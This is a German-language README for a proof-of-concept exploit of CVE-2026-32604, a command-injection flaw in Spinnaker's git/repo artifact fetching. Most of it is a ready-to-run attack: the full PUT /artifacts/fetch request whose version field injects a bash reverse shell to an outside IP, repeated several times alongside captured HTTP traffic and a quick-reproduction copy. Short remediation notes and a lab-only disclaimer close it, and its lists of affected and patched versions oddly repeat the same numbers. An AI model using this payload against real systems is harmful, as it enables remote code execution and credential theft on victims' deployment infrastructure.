k3ystr0k3r/cve-2026-32604Proof-of-Concept-Exploit für CVE-2026-32604, eine Command-Injection-RCE in Spinnakers GitRepo-Artefaktverarbeitung über das version-Feld.
CVE-2026-32604 - Remote Code Execution in Spinnaker über den
git/repo-Artifact-Typ.
Dies ist eine Command-Injection-/Remote-Code-Execution-Schwachstelle in Spinnakers GitRepo-Artifact-Verarbeitung.
Die verwundbare Funktionalität erlaubt es, benutzergesteuerte Werte, die über das version-Feld eines git/repo-Artifacts übergeben werden, ohne ordnungsgemäße Bereinigung zur Befehlsausführung zu bringen.
Der verwundbare Endpunkt ist:
PUT /artifacts/fetch
Der wichtige Punkt ist, dass die Anwendung den git/repo-Artifact-Provider über folgenden Endpunkt bereitstellt:
GET /artifacts/credentials
welcher Folgendes zurückgibt:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Dies bestätigt, dass der git/repo-Artifact-Typ verfügbar ist.
Die verwundbare Anfrage wird an folgenden Endpunkt gesendet:
PUT /artifacts/fetch
mit einem JSON-Body, der ein Git-Repository-Artifact enthält.
Der version-Parameter kann mit Shell-Syntax manipuliert werden.
Zum Testen habe ich Folgendes verwendet:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
Die vollständige während des PoC erfasste Anfrage war:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
Der wichtige Parameter hier ist:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
Der injizierte Shell-Ausdruck wird nach dem erwarteten Git-Branch-/Versionswert angehängt.
Das # wird verwendet, um den Rest des Befehls nach dem injizierten Ausdruck auszukommentieren.
Die Anfrage wurde von der verwundbaren Anwendung akzeptiert.
Die erfasste HTTP-Antwort war:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Der relevante Punkt ist, dass der verwundbare Artifact-Typ vorhanden ist und der bösartige version-Wert vom Artifact-Fetch-Endpunkt akzeptiert wird.
Bevor ich den verwundbaren Endpunkt getestet habe, habe ich überprüft, ob das Ziel antwortet:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Antwort:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
Der PoC ist im Grunde:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
Das Problem ist nicht einfach, dass der Endpunkt einen Git-Branch-Namen akzeptiert. Das Problem ist, dass angreifergesteuerte Git-Artifact-Daten einen Kontext zur Befehlsausführung erreichen, ohne sicher auf die erwartete Git-Versions-/Branch-Syntax beschränkt zu werden.
Zur schnellen Reproduktion ist die Kernanfrage:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
Die obige Payload ist nur für eine kontrollierte Laborumgebung gedacht.
Der verwundbare Pfad beinhaltet die Verarbeitung angreifergesteuerter Artifact-Informationen durch die GitRepo-Artifact-Implementierung.
Der erwartete Wert für version ist etwas Ähnliches wie:
main
aber die Anwendung beschränkt den Wert nicht ausreichend auf dieses erwartete Format.
Stattdessen kann Shell-Syntax eingeführt werden:
main; <command> #
was die Bedeutung des resultierenden Befehls ändert.
Dies verwandelt eine Artifact-Abrufoperation in beliebige Befehlsausführung im Kontext des verwundbaren Spinnaker-Clouddriver-Dienstes.
Eine erfolgreiche Ausnutzung kann zu beliebiger Befehlsausführung auf dem betroffenen Clouddriver-Pod führen.
Abhängig von den Berechtigungen und der Umgebung des kompromittierten Pods kann dies einem Angreifer potenziell ermöglichen:
Der offizielle Spinnaker-Sicherheitshinweis weist speziell darauf hin, dass eine Ausnutzung Anmeldedaten offenlegen, Dateien entfernen oder Ressourcen injizieren kann.
Laut dem Spinnaker-Sicherheitshinweis umfassen die betroffenen Release-Linien Versionen vor:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Gepatchte Versionen sind:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Die Schwachstelle wird als CVE-2026-32604 geführt und ist als CWE-20: Improper Input Validation klassifiziert.
Aktualisieren Sie Spinnaker auf eine gepatchte Version.
Der Upstream-Hinweis listet außerdem das Deaktivieren des git/repo-Artifact-Typs als Workaround für Installationen auf, die nicht sofort aktualisieren können.
Aktuelle Spinnaker-Releases sollten nach Möglichkeit verwendet werden, anstatt auf einem betroffenen Release-Zweig zu bleiben.
Dieser PoC wird für Sicherheitsforschung, Schwachstellenvalidierung und autorisierte Tests bereitgestellt.
Führen Sie ihn nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben.
Ich habe die Schwachstelle in einer isolierten Laborumgebung getestet.